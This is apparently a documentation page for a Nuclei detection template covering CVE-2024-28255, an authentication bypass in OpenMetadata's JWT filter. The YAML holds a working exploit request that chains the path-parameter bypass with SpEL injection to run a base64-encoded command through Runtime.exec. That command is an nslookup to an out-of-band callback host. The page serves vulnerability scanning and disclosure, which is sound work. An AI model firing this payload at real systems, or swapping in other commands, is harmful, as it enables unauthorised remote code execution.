OpenMetadata - Authentication Bypass
ID: CVE-2024-28255
Severity: critical
Author: DhiyaneshDK,iamnooob
Tags: cve,cve2024,openmetadata,rce,auth-bypass
Description
Section titled “Description”OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The JwtFilter handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request’s path is checked against this list. When the request’s path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111 will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the SecurityContext.getUserPrincipal() since it will return null and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as GHSL-2023-237.
YAML Source
Section titled “YAML Source”id: CVE-2024-28255
info: name: OpenMetadata - Authentication Bypass author: DhiyaneshDK,iamnooob severity: critical description: | OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The `JwtFilter` handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request's path is checked against this list. When the request's path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to `GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111` will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the `SecurityContext.getUserPrincipal()` since it will return `null` and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as `GHSL-2023-237`. reference: - https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L111 - https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L113 - https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-6wx7-qw5p-wh84 - https://nvd.nist.gov/vuln/detail/CVE-2024-28255 - https://github.com/wy876/wiki classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-28255 cwe-id: CWE-287 epss-score: 0.00087 epss-percentile: 0.36659 metadata: verified: true max-request: 1 shodan-query: http.favicon.hash:733091897 tags: cve,cve2024,openmetadata,rce,auth-bypassvariables: callback: "{{interactsh-url}}" cmd: "nslookup {{callback}}" payload: '{{base64(cmd)}}'
http: - raw: - | GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22{{payload}}%22))) HTTP/1.1 Host: {{Hostname}}
matchers: - type: dsl dsl: - "status_code == 400" - "contains(interactsh_protocol, 'dns')" - 'contains(body, "java.lang.Boolean")' - 'contains(header, "application/json")' condition: and# digest: 490a0046304402201b0346e77b973f5802486eab3c46ffbe79326fa279bce698e730102fc04e0f8a0220332df00292be61d4c5af3d66e31e265e1250be264b0790e5b8b6dcd033e087f8:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-28255.yaml"